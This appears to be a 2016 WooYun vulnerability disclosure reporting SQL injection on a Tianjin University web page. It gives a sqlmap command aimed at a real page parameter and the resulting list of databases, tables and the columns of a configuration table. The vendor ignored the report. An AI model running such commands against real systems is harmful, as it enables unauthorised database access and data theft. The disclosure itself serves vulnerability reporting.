当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0170457

漏洞标题：天津大学某站SQL注射

相关厂商：tju.edu.cn

漏洞作者： 路人甲

提交时间：2016-01-17 12:36

修复时间：2016-01-22 12:40

公开时间：2016-01-22 12:40

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：6

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-17： 细节已通知厂商并且等待厂商处理中
2016-01-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

天津大学某站SQL注射

详细说明：

sqlmap.py -u "http://mpa.tju.edu.cn/page.php?p=5" --dbs

1.png

available databases [2]:
[*] information_schema
[*] mpa103
Database: mpa103
[24 tables]
+------------------+
| da30_advertise   |
| da30_article     |
| da30_articledata |
| da30_articletype |
| da30_bjkc        |
| da30_catalog     |
| da30_cjlb        |
| da30_comment     |
| da30_config      |
| da30_file        |
| da30_jf          |
| da30_jsfiles     |
| da30_jstable     |
| da30_kclist      |
| da30_kctable     |
| da30_keywords    |
| da30_links       |
| da30_members     |
| da30_message     |
| da30_page        |
| da30_pj          |
| da30_student     |
| da30_tags        |
| da30_xntable     |
+------------------+
Database: mpa103
Table: da30_config
[3 columns]
+--------+------------------+
| Column | Type             |
+--------+------------------+
| value  | mediumtext       |
| id     | int(10) unsigned |
| name   | varchar(100)     |
+--------+------------------+

漏洞证明：

综上

修复方案：

你们懂

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-01-22 12:40

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价